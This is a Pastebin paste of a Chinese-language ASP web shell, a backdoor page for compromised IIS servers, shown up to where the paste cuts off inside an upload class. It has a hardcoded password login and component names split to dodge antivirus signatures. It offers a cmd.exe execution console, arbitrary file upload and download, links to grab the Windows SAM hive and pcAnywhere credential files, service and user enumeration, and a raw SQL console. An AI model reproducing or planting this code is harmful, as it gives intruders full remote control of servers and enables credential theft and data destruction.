Advertisement
Guest User

Untitled

a guest
Jun 16th, 2019
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.51 KB | None | 0 0
  1. <%
  2. '########
  3. Server.ScriptTimeout=50000
  4. Response.Buffer = True
  5. On Error Resume Next
  6. ApplicationName = "admin"
  7. UserPass = "fuckingday" '
  8. ShowFileIco = false
  9. IcoPath = ""
  10. URL = Request.ServerVariables("URL")
  11. ServerIP = Request.ServerVariables("LOCAL_ADDR")
  12. Action = Request("Action")
  13. RootPath = Server.MapPath(".")
  14. WWWRoot = Server.MapPath("/")
  15. FolderPath = Request("FolderPath")
  16. FName = Request("FName")
  17. BackUrl = "<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
  18. If Session("webadmin")<>UserPass Then
  19. If Request.Form("Pass")<>"" Then
  20. If Request.Form("Pass")=UserPass Then
  21. Session("webadmin")=UserPass
  22. Response.Redirect URL
  23. Else
  24. response.write"error"
  25. End If
  26. Else
  27. SI="<center style='font-size:14px;color:red' ><br>Admin"
  28. SI=SI&"<form action='"&URL&"' method='post'>"
  29. SI=SI&" PASSWORD :<input name='Pass' type='password' size='15'>"
  30. SI=SI&"&nbsp;<input type='submit' value='LODING~'></form></center>"
  31. Response.Write SI
  32. End If
  33. Response.End
  34. End If
  35.  
  36. sub ShowErr()
  37. If Err Then
  38. Response.Write"<br><a href='javascript:history.back()'><br>&nbsp;" & Err.Description & "</a><br>"
  39. Err.Clear:Response.Flush
  40. End If
  41. end sub
  42.  
  43.  
  44. Dim ObT(13,2)
  45. ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
  46. ObT(0,2) = "文件操作组件"
  47. ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll"
  48. ObT(1,2) = "命令行执行组件"
  49. ObT(2,0) = "ADOX.Catalog"
  50. ObT(2,2) = "ACCESS建库组件"
  51. ObT(3,0) = "JRO.JetEngine"
  52. ObT(3,2) = "ACCESS压缩组件"
  53. ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary"
  54. ObT(4,2) = "数据流上传辅助组件"
  55. ObT(5,0) = "Adodb.connection"
  56. ObT(5,2) = "数据库连接组件"
  57. ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
  58. ObT(6,2) = "数据流上传组件"
  59. ObT(7,0) = "SoftArtisans.FileUp"
  60. ObT(7,2) = "SA-FileUp 文件上传组件"
  61. ObT(8,0) = "LyfUpload.UploadFile"
  62. ObT(8,2) = "刘云峰文件上传组件"
  63. ObT(9,0) = "Persits.Upload.1"
  64. ObT(9,2) = "ASPUpload 文件上传组件"
  65. ObT(10,0) = "JMail.SmtpMail"
  66. ObT(10,2) = "JMail 邮件收发组件"
  67. ObT(11,0) = "CDONTS.NewMail"
  68. ObT(11,2) = "虚拟SMTP发信组件"
  69. ObT(12,0) = "SmtpMail.SmtpMail.1"
  70. ObT(12,2) = "SmtpMail发信组件"
  71. ObT(13,0) = "Microsoft.XMLHTTP"
  72. ObT(13,2) = "数据传输组件"
  73.  
  74. For i=0 To 13
  75. Set T=Server.CreateObject(ObT(i,0))
  76. If -2147221005 <> Err Then
  77. IsObj=True
  78. Else
  79. IsObj=false
  80. Err.Clear
  81. End If
  82. Set T=Nothing
  83. ObT(i,1)=IsObj
  84. Next
  85.  
  86.  
  87. Function RePath(S)
  88. RePath=Replace(S,"\","\\")
  89. End Function
  90.  
  91. Function RRePath(S)
  92. RRePath=Replace(S,"\\","\")
  93. End Function
  94.  
  95. If FolderPath<>"" then
  96. Session("FolderPath")=RRePath(FolderPath)
  97. End If
  98.  
  99. If Session("FolderPath")="" Then
  100. FolderPath=RootPath
  101. Session("FolderPath")=FolderPath
  102. End if
  103.  
  104. Function MainForm()
  105. SI="<form name=""hideform"" method=""post"" action="""&URL&""" target=""FileFrame"">"
  106. SI=SI&"<input type=""hidden"" name=""Action"">"
  107. SI=SI&"<input type=""hidden"" name=""FName"">"
  108. SI=SI&"</form>"
  109. SI=SI&"<table width='100%' height='100%' border='0' cellpadding='0' cellspacing='0' bgcolor='menu'>"
  110. SI=SI&"<tr><td height='30' colspan='2'>"
  111. SI=SI&"<table width='100%' height='25' border='0' cellpadding='0' cellspacing='0'>"
  112. SI=SI&"<form name='addrform' method='post' action='"&URL&"' target='_parent'>"
  113. SI=SI&"<tr><td width='60' align='center'>地址栏:</td><td>"
  114. SI=SI&"<input name='FolderPath' style='width:100%' value='"&Session("FolderPath")&"'>"
  115. SI=SI&"</td><td width='60' align='center'><input name='Submit' type='submit' value='转到'>"
  116. SI=SI&"</td></tr></form></table></td></tr><tr><td width='160'>"
  117. SI=SI&"<iframe name='Left' src='?Action=MainMenu' width='100%' height='100%' frameborder='2' scrolling='yes'></iframe></td>"
  118. SI=SI&"<td>"
  119. SI=SI&"<iframe name='FileFrame' src='?Action=ShowFile' width='100%' height='100%' frameborder='1' scrolling='yes'></iframe>"
  120. SI=SI&"</td></tr></table>"
  121. Response.Write SI
  122. End Function
  123.  
  124.  
  125. Function MainMenu()
  126. SI="<table width='100%' border='0' cellspacing='0' cellpadding='0'>"
  127. SI=SI&"<tr><td height='5'></td></tr>"
  128. SI=SI&"<tr><td>&nbsp;"
  129. SI=SI&" A : FSO文件操作模块"
  130. SI=SI&"</td></tr>"
  131. If Not ObT(0,1) Then
  132. SI=SI&"<tr><td height='20'></td></tr>"
  133. Else
  134. Set ABC=New LBF:SI=SI&ABC.ShowDriver():Set ABC=Nothing
  135. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;&nbsp;&nbsp;"
  136. SI=SI&"<a href='javascript:ShowFolder(""C:\\Progra~1"")'>C:\Progra~1</a>"
  137. SI=SI&"</td></tr>"
  138. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;&nbsp;&nbsp;"
  139. SI=SI&"<a href='javascript:ShowFolder(""C:\\Docume~1"")'>C:\Docume~1</a>"
  140. SI=SI&"</td></tr>"
  141. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;&nbsp;&nbsp;"
  142. SI=SI&"<a href='javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\Application Data\\Symantec\\pcAnywhere"")'>CIF文件(PcAny)下载</a>"
  143. SI=SI&"</td></tr>"
  144. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;&nbsp;&nbsp;"
  145. SI=SI&"<a href='javascript:ShowFolder(""C:\\WINNT\\system32\\config"")'>SAM文件(NT系统)下载</a>"
  146. SI=SI&"</td></tr>"
  147. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;&nbsp;&nbsp;"
  148. SI=SI&"<a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'><font color='red'>站点根目录</font></a>"
  149. SI=SI&"</td></tr>"
  150. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;&nbsp;&nbsp;"
  151. SI=SI&"<a href='javascript:ShowFolder("""&RePath(RootPath)&""")'>本程序目录</a>"
  152. SI=SI&"</td></tr>"
  153. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;&nbsp;&nbsp;"
  154. SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\NewFolder")&""",""NewFolder"")'>新建目录</a>"
  155. SI=SI&"</td></tr>"
  156. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;&nbsp;&nbsp;"
  157. SI=SI&"<a href='?Action=EditFile' target='FileFrame'>新建文本</a>"
  158. SI=SI&"</td></tr>"
  159. End If
  160. Response.Write SI:SI=""
  161.  
  162. SI=SI&"<tr><td height='20'>&nbsp;"
  163. SI=SI&"<a href='?Action=UpFile' target='FileFrame'><font color='red'>上传文件</font></a>"
  164. SI=SI&"</td></tr>"
  165. SI=SI&"<tr><td height='20'>&nbsp;"
  166. SI=SI&" B : 数据库操作模块"
  167. SI=SI&"</td></tr>"
  168. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;&nbsp;&nbsp;"
  169. SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\New.mdb")&""",""CreateMdb"")'>建立MDB文件</a>"
  170. SI=SI&"</td></tr>"
  171. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;&nbsp;&nbsp;"
  172. SI=SI&"<a href='?Action=DbManager' target='FileFrame'>数据库操作</a>"
  173. SI=SI&"</td></tr>"
  174. SI=SI&"<tr><td height='20'>&nbsp;&nbsp;&nbsp;&nbsp;"
  175. SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\data.mdb")&""",""CompactMdb"")'>压缩MDB文件</a>"
  176. SI=SI&"</td></tr>"
  177. SI=SI&"<tr><td height='20'>&nbsp;"
  178. SI=SI&"<a href='?Action=CmdShell' target='FileFrame'><font color='red'>命令行CMD模块</font></a>"
  179. SI=SI&"</td></tr>"
  180. SI=SI&"<tr><td height='20'>&nbsp;"
  181. SI=SI&"<a href='?Action=Course' target='FileFrame'>系统服务列表</a>"
  182. SI=SI&"</td></tr>"
  183. SI=SI&"<tr><td height='20'>&nbsp;"
  184. SI=SI&"<a href='?Action=ServerInfo' target='FileFrame'>服务器信息</a>"
  185. SI=SI&"</td></tr>"
  186. SI=SI&"<tr><td height='20'>&nbsp;"
  187. SI=SI&"<a href='?Action=Logout' target='_top'>退出登录</a>"
  188. SI=SI&"</td></tr>"
  189. SI=SI&"<tr><td height='20'>&nbsp;"
  190. SI=SI&"<a href='http://www.sswp.net' target='_blank'>网络警察</a>"
  191. SI=SI&"</td></tr>"
  192. SI=SI&"<tr><td height='20'>"
  193. SI=SI&">>> <font color='red'>警察编号: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;007-110</font><br>>>> MYQQ: 110</a>"
  194. SI=SI&"</td></tr>"
  195. SI=SI&"</table>"
  196. Response.Write SI : SI=""
  197. End Function
  198.  
  199. Function Course()
  200. SI="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
  201. SI=SI&"<tr><td height='20' colspan='3' align='center' bgcolor='menu'>系统用户与服务</td></tr>"
  202. on error resume next
  203. for each obj in getObject("WinNT://.")
  204. err.clear
  205. if OBJ.StartType="" then
  206. SI=SI&"<tr>"
  207. SI=SI&"<td height=""20"" bgcolor=""#FFFFFF"">&nbsp;"
  208. SI=SI&obj.Name
  209. SI=SI&"</td><td bgcolor=""#FFFFFF"">&nbsp;"
  210. SI=SI&"系统用户(组)"
  211. SI=SI&"</td></tr>"
  212. SI0="<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">&nbsp;</td></tr>"
  213. end if
  214. if OBJ.StartType=2 then lx="自动"
  215. if OBJ.StartType=3 then lx="手动"
  216. if OBJ.StartType=4 then lx="禁用"
  217. if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then
  218. SI1=SI1&"<tr><td height=""20"" bgcolor=""#FFFFFF"">&nbsp;"&obj.Name&"</td><td height=""20"" bgcolor=""#FFFFFF"">&nbsp;"&obj.DisplayName&"<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font color=#FF0000>&nbsp;"&obj.path&"</font></td></tr>"
  219. else
  220. SI2=SI2&"<tr><td height=""20"" bgcolor=""#FFFFFF"">&nbsp;"&obj.Name&"</td><td height=""20"" bgcolor=""#FFFFFF"">&nbsp;"&obj.DisplayName&"<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font color=#008000>&nbsp;"&obj.path&"</font></td></tr>"
  221. end if
  222. next
  223. Response.Write SI&SI0&SI1&SI2&"</table>"
  224. End Function
  225.  
  226. Function ServerInfo()
  227. SI="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
  228. SI=SI&"<tr><td height='20' colspan='3' align='center' bgcolor='menu'>服务器组件信息</td></tr>"
  229. SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器名</td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"&request.serverVariables("SERVER_NAME")&"</td></tr>"
  230. SI=SI&"<form method=post action='http://www.ip138.com/index.asp' name='ipform' target='_blank'><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器IP</td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"
  231. SI=SI&"<input type='text' name='ip' size='15' value='"&Request.ServerVariables("LOCAL_ADDR")&"'style='border:0px'><input type='submit' value='查询'style='border:0px'><input type='hidden' name='action' value='2'></td></tr></form>"
  232. SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器时间</td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"&now&"&nbsp;</td></tr>"
  233. SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器CPU数量</td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"</td></tr>"
  234. SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器操作系统</td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("OS")&"</td></tr>"
  235. SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>WEB服务器版本</td><td bgcolor='#FFFFFF'>&nbsp;</td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr>"
  236. For i=0 To 13
  237. SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>"&ObT(i,0)&"</td><td bgcolor='#FFFFFF'>"&ObT(i,1)&"</td><td bgcolor='#FFFFFF'>"&ObT(i,2)&"</td></tr>"
  238. Next
  239. Response.Write SI
  240. End Function
  241.  
  242. Function DownFile(Path)
  243. Response.Clear
  244. Set OSM = CreateObject(ObT(6,0))
  245. OSM.Open
  246. OSM.Type = 1
  247. OSM.LoadFromFile Path
  248. sz=InstrRev(path,"\")+1
  249. Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz)
  250. Response.Charset = "UTF-8"
  251. Response.ContentType = "application/octet-stream"
  252. Response.BinaryWrite OSM.Read
  253. Response.Flush
  254. OSM.Close
  255. Set OSM = Nothing
  256. End Function
  257.  
  258.  
  259. Function HTMLEncode(S)
  260. if not isnull(S) then
  261. S = replace(S, ">", "&gt;")
  262. S = replace(S, "<", "&lt;")
  263. S = replace(S, CHR(39), "&#39;")
  264. S = replace(S, CHR(34), "&quot;")
  265. S = replace(S, CHR(20), "&nbsp;")
  266. HTMLEncode = S
  267. end if
  268. End Function
  269.  
  270. Function UpFile()
  271. If Request("Action2")="Post" Then
  272. Set U=new UPC : Set F=U.UA("LocalFile")
  273. UName=U.form("ToPath")
  274. If UName="" Or F.FileSize=0 then
  275. SI="<br>请输入上传的完全路径后选择一个文件上传!"
  276. Else
  277. F.SaveAs UName
  278. If Err.number=0 Then
  279. SI="<center><br><br><br>文件"&UName&"上传成功!</center>"
  280. End if
  281. End If
  282. Set F=nothing:Set U=nothing
  283. SI=SI&BackUrl
  284. Response.Write SI
  285. ShowErr()
  286. Response.End
  287. End If
  288. SI="<br><br><br><table border='0' cellpadding='0' cellspacing='0' align='center'>"
  289. SI=SI&"<form name='UpForm' method='post' action='"&URL&"?Action=UpFile&Action2=Post' enctype='multipart/form-data'>"
  290. SI=SI&"<tr><td>"
  291. SI=SI&"上传路径:<input name='ToPath' value='"&RRePath(Session("FolderPath")&"\newup.asp")&"' size='40'>&nbsp;"
  292. SI=SI&"<input name='LocalFile' type='file' size='25'>"
  293. SI=SI&"<input type='submit' name='Submit' value='上传'>"
  294. SI=SI&"</td></tr></form></table>"
  295. Response.Write SI
  296. End Function
  297.  
  298. Function CmdShell()
  299. If Request("SP")<>"" Then Session("ShellPath") = Request("SP")
  300. ShellPath=Session("ShellPath")
  301. if ShellPath="" Then ShellPath = "cmd.exe"
  302. if Request("wscript")="yes" then
  303. checked=" checked"
  304. else
  305. checked=""
  306. end if
  307. If Request("cmd")<>"" Then DefCmd = Request("cmd")
  308. SI="<form method='post'><input name='cmd' Style='width:92%' class='cmd' value='"&DefCmd&"'><input type='submit' value='执行'>"
  309. SI=SI&"<textarea Style='width:100%;height:500;' class='cmd'>"
  310. If Request.Form("cmd")<>"" Then
  311. if Request.Form("wscript")="yes" then
  312. Set CM=CreateObject(ObT(1,0))
  313. Set DD=CM.exec(ShellPath&" /c "&DefCmd)
  314. aaa=DD.stdout.readall
  315. SI=SI&aaa
  316. else%>
  317. <object runat=server id=ws scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
  318. <object runat=server id=ws scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
  319. <object runat=server id=fso scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
  320. <%szTempFile = server.mappath("cmd.txt")
  321. Call ws.Run (ShellPath&" /c " & DefCmd & " > " & szTempFile, 0, True)
  322. Set fs = CreateObject("Scripting.FileSystemObject")
  323. Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
  324. aaa=Server.HTMLEncode(oFilelcx.ReadAll)
  325. oFilelcx.Close
  326. Call fso.DeleteFile(szTempFile, True)
  327. SI=SI&aaa
  328. end if
  329. End If
  330. SI=SI&chr(13)&"</textarea>"
  331. SI=SI&"SHELL路径:<input name='SP' value='"&ShellPath&"' Style='width:70%'>&nbsp;&nbsp;"
  332. SI=SI&"<input type='checkbox' name='wscript' value='yes'"&checked&">WScript.Shell</form>"
  333. Response.Write SI
  334. End Function
  335.  
  336. Function CreateMdb(Path)
  337. SI="<br><br>"
  338. Set C = CreateObject(ObT(2,0))
  339. C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path)
  340. Set C = Nothing
  341. If Err.number=0 Then
  342. SI = SI & Path & "建立成功!"
  343. End If
  344. SI=SI&BackUrl
  345. Response.Write SI
  346. End function
  347.  
  348. Function CompactMdb(Path)
  349. If Not ObT(0,1) Then
  350. Set C=CreateObject(ObT(3,0))
  351. C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path
  352. Set C=Nothing
  353. Else
  354. Set FSO=CreateObject(ObT(0,1))
  355. If FSO.FileExists(Path) Then
  356. Set C=CreateObject(ObT(3,0))
  357. C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path&"_bak"
  358. Set C=Nothing
  359. FSO.DeleteFile Path
  360. FSO.MoveFile Path&"_bak",Path
  361. Else
  362. SI="<center><br><br><br>数据库"&Path&"没有发现!</center>"
  363. Err.number=1
  364. End If
  365. Set FSO=Nothing
  366. End If
  367. If Err.number=0 Then
  368. SI="<center><br><br><br>数据库"&Path&"压缩成功!</center>"
  369. End If
  370. SI=SI&BackUrl
  371. Response.Write SI
  372. End Function
  373.  
  374.  
  375. Function DbManager()
  376. SqlStr=Trim(Request.Form("SqlStr"))
  377. DbStr=Request.Form("DbStr")
  378.  
  379. SI=SI&"<table width='650' border='0' cellspacing='0' cellpadding='0'>"
  380. SI=SI&"<form name='DbForm' method='post' action=''>"
  381. SI=SI&"<tr><td width='100' height='27'> &nbsp;数据库连接串:</td>"
  382. SI=SI&"<td><input name='DbStr' style='width:470' value="""&DbStr&"""></td>"
  383. SI=SI&"<td width='60' align='center'><select name='StrBtn' onchange='return FullDbStr(options[selectedIndex].value)'><option value=-1>连接串示例</option><option value=0>Access连接</option>"
  384. SI=SI&"<option value=1>MsSql连接</option><option value=2>MySql连接</option><option value=3>DSN连接</option>"
  385. SI=SI&"<option value=-1>--SQL语法--</option><option value=4>显示数据</option><option value=5>添加数据</option>"
  386. SI=SI&"<option value=6>删除数据</option><option value=7>修改数据</option><option value=8>建数据表</option>"
  387. SI=SI&"<option value=9>删数据表</option><option value=10>添加字段</option><option value=11>删除字段</option>"
  388. SI=SI&"<option value=12>完全显示</option></select></td></tr>"
  389. SI=SI&"<input name='Action' type='hidden' value='DbManager'><input name='Page' type='hidden' value='1'>"
  390. SI=SI&"<tr><td height='30'>&nbsp;SQL操作命令:</td>"
  391. SI=SI&"<td><input name='SqlStr' style='width:470' value="""&SqlStr&"""></td>"
  392. SI=SI&"<td align='center'><input type='submit' name='Submit' value='执行' onclick='return DbCheck()'></td>"
  393. SI=SI&"</tr></form></table><span id='abc'></span>"
  394. Response.Write SI:SI=""
  395.  
  396. If Len(DbStr)>40 Then
  397.  
  398. Set Conn=CreateObject(ObT(5,0))
  399. Conn.Open DbStr
  400. Set Rs=Conn.OpenSchema(20)
  401. SI=SI&"<table><tr height='25' Bgcolor='#CCCCCC'><td>表<br>名</td>"
  402. Rs.MoveFirst
  403. Do While Not Rs.Eof
  404. If Rs("TABLE_TYPE")="TABLE" then
  405. TName=Rs("TABLE_NAME")
  406. SI=SI&"<td align=center><a href='javascript:FullSqlStr(""DROP TABLE ["&TName&"]"",1)'>[ del ]</a><br>"
  407. SI=SI&"<a href='javascript:FullSqlStr(""SELECT * FROM ["&TName&"]"",1)'>"&TName&"</a></td>"
  408. End If
  409. Rs.MoveNext
  410. Loop
  411. Set Rs=Nothing
  412. SI=SI&"</tr></table>"
  413. Response.Write SI:SI=""
  414.  
  415.  
  416.  
  417. If Len(SqlStr)>10 Then
  418.  
  419. If LCase(Left(SqlStr,6))="select" then
  420. SI=SI&"执行语句:"&SqlStr
  421. Set Rs=CreateObject("Adodb.Recordset")
  422. Rs.open SqlStr,Conn,1,1
  423. FN=Rs.Fields.Count
  424. RC=Rs.RecordCount
  425. Rs.PageSize=20
  426. Count=Rs.PageSize
  427. PN=Rs.PageCount
  428. Page=request("Page")
  429. If Page<>"" Then Page=Clng(Page)
  430. If Page="" Or Page=0 Then Page=1
  431. If Page>PN Then Page=PN
  432. If Page>1 Then Rs.absolutepage=Page
  433. SI=SI&"<table><tr height=25 bgcolor=#cccccc><td></td>"
  434. For n=0 to FN-1
  435. Set Fld=Rs.Fields.Item(n)
  436. SI=SI&"<td align='center'>"&Fld.Name&"</td>"
  437. Set Fld=nothing
  438. Next
  439. SI=SI&"</tr>"
  440.  
  441. Do While Not(Rs.Eof or Rs.Bof) And Count>0
  442. Count=Count-1
  443. Bgcolor="#EFEFEF"
  444. SI=SI&"<tr><td bgcolor=#cccccc><font face='wingdings'>x</font></td>"
  445. For i=0 To FN-1
  446. If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if
  447. If RC=1 Then
  448. ColInfo=HTMLEncode(Rs(i))
  449. Else
  450. ColInfo=HTMLEncode(Left(Rs(i),50))
  451. End If
  452. SI=SI&"<td bgcolor="&Bgcolor&">"&ColInfo&"</td>"
  453. Next
  454. SI=SI&"</tr>"
  455. Rs.MoveNext
  456. Loop
  457.  
  458. Response.Write SI:SI=""
  459.  
  460. SqlStr=HtmlEnCode(SqlStr)
  461.  
  462. SI=SI&"<tr><td colspan="&FN+1&" align=center>记录数:"&RC&"&nbsp;页码:"&Page&"/"&PN
  463. If PN>1 Then
  464. SI=SI&"&nbsp;&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""",1)'>首页</a>&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""","&Page-1&")'>上一页</a>&nbsp;"
  465. If Page>8 Then:Sp=Page-8:Else:Sp=1:End if
  466. For i=Sp To Sp+8
  467. If i>PN Then Exit For
  468. If i=Page Then
  469. SI=SI&i&"&nbsp;"
  470. Else
  471. SI=SI&"<a href='javascript:FullSqlStr("""&SqlStr&""","&i&")'>"&i&"</a>&nbsp;"
  472. End If
  473. Next
  474. SI=SI&"&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""","&Page+1&")'>下一页</a>&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""","&PN&")'>尾页</a>"
  475. End If
  476. SI=SI&"<hr color='#EFEFEF'></td></tr></table>"
  477. Rs.Close:Set Rs=Nothing
  478.  
  479. Response.Write SI:SI=""
  480. Else
  481. Conn.Execute(SqlStr)
  482. SI=SI&"SQL语句:"&SqlStr
  483. End If
  484.  
  485. Response.Write SI:SI=""
  486. End If
  487.  
  488. Conn.Close
  489. Set Conn=Nothing
  490. End If
  491. End Function
  492. %>
  493. <head>
  494. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  495. <title><%=ApplicationName&" - "&ServerIP%></title>
  496. <style type="text/css">
  497. <!--
  498. body,td {font-size: 12px;}
  499. input,select{font-size: 12px;background-color:#FFFFFF;}
  500. .tr {background-color:#EFEFEF;}
  501. .cmd {background-color:#000000;color:#FFFFFF}
  502. body {margin-left: 0px;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;
  503. <%If Action="" then response.write "overflow-x:hidden;overflow-y:hidden;"%>}
  504. a {color: black;text-decoration: none;}
  505. .am {color: #003366;font-size: 11px;}
  506. -->
  507. </style>
  508. <script language="javascript">
  509. <!--
  510. function yesok(){
  511. if (confirm("确认要执行此操作吗?"))
  512. return true;
  513. else
  514. return false;
  515. }
  516.  
  517. function ShowFolder(Folder){
  518. top.addrform.FolderPath.value = Folder;
  519. top.addrform.submit();
  520. }
  521.  
  522. function FullForm(FName,FAction){
  523. top.hideform.FName.value = FName;
  524. if(FAction=="CopyFile"){
  525. DName = prompt("请输入复制到目标文件全名称",FName);
  526. top.hideform.FName.value += "||||"+DName;
  527. }else if(FAction=="MoveFile"){
  528. DName = prompt("请输入移动到目标文件全名称",FName);
  529. top.hideform.FName.value += "||||"+DName;
  530. }else if(FAction=="CopyFolder"){
  531. DName = prompt("请输入移动到目标文件夹全名称",FName);
  532. top.hideform.FName.value += "||||"+DName;
  533. }else if(FAction=="MoveFolder"){
  534. DName = prompt("请输入移动到目标文件夹全名称",FName);
  535. top.hideform.FName.value += "||||"+DName;
  536. }else if(FAction=="NewFolder"){
  537. DName = prompt("请输入要新建的文件夹全名称",FName);
  538. top.hideform.FName.value = DName;
  539. }else if(FAction=="CreateMdb"){
  540. DName = prompt("请输入要新建的Mdb文件全名称,注意不能同名!",FName);
  541. top.hideform.FName.value = DName;
  542. }else if(FAction=="CompactMdb"){
  543. DName = prompt("请输入要压缩的Mdb文件全名称,注意文件是否存在!",FName);
  544. top.hideform.FName.value = DName;
  545. }else{
  546. DName = "Other";
  547. }
  548.  
  549. if(DName!=null){
  550. top.hideform.Action.value = FAction;
  551. top.hideform.submit();
  552. }else{
  553. top.hideform.FName.value = "";
  554. }
  555. }
  556.  
  557. function DbCheck(){
  558. if(DbForm.DbStr.value == ""){
  559. alert("请先连接数据库");
  560. FullDbStr(0);
  561. return false;
  562. }
  563. return true;
  564. }
  565.  
  566. function FullDbStr(i){
  567. if(i<0){
  568. return false;
  569. }
  570. Str = new Array(12);
  571. Str[0] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=<%=RePath(Session("FolderPath"))%>\\db.mdb;Jet OLEDB:Database Password=***";
  572. Str[1] = "Driver={Sql Server};Server=<%=ServerIP%>,1433;Database=DbName;Uid=sa;Pwd=****";
  573. Str[2] = "Driver={MySql};Server=<%=ServerIP%>;Port=3306;Database=DbName;Uid=root;Pwd=****";
  574. Str[3] = "Dsn=DsnName";
  575. Str[4] = "SELECT * FROM [TableName] WHERE ID<100";
  576. Str[5] = "INSERT INTO [TableName](USER,PASS) VALUES(\'username\',\'password\')";
  577. Str[6] = "DELETE FROM [TableName] WHERE ID=100";
  578. Str[7] = "UPDATE [TableName] SET USER=\'username\' WHERE ID=100";
  579. Str[8] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
  580. Str[9] = "DROP TABLE [TableName]";
  581. Str[10]= "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
  582. Str[11]= "ALTER TABLE [TableName] DROP COLUMN PASS";
  583. Str[12]= "当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。";
  584. if(i<=3){
  585. DbForm.DbStr.value = Str[i];
  586. DbForm.SqlStr.value = "";
  587. abc.innerHTML="<center>请确认己连接数据库再输入SQL操作命令语句。</center>";
  588. }else if(i==12){
  589. alert(Str[i]);
  590. }else{
  591. DbForm.SqlStr.value = Str[i];
  592. }
  593. return true;
  594. }
  595.  
  596.  
  597. function FullSqlStr(str,pg){
  598. if(DbForm.DbStr.value.length<5){
  599. alert("请检查数据库连接串是否正确!")
  600. return false;
  601. }
  602. if(str.length<10){
  603. alert("请检查SQL语句是否正确!")
  604. return false;
  605. }
  606. DbForm.SqlStr.value = str ;
  607. DbForm.Page.value = pg;
  608. abc.innerHTML="";
  609. DbForm.submit();
  610. return true;
  611. }
  612. -->
  613. </script>
  614. </head>
  615. <%
  616. Dim T1
  617. Class UPC
  618. Dim D1,D2
  619.  
  620. Public Function Form(F)
  621. F=lcase(F)
  622. If D1.exists(F) then:Form=D1(F):else:Form="":end if
  623. End Function
  624.  
  625. Public Function UA(F)
  626. F=lcase(F)
  627. If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if
  628. End Function
  629.  
  630. Private Sub Class_Initialize
  631. Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
  632. set D1=CreateObject(ObT(4,0))
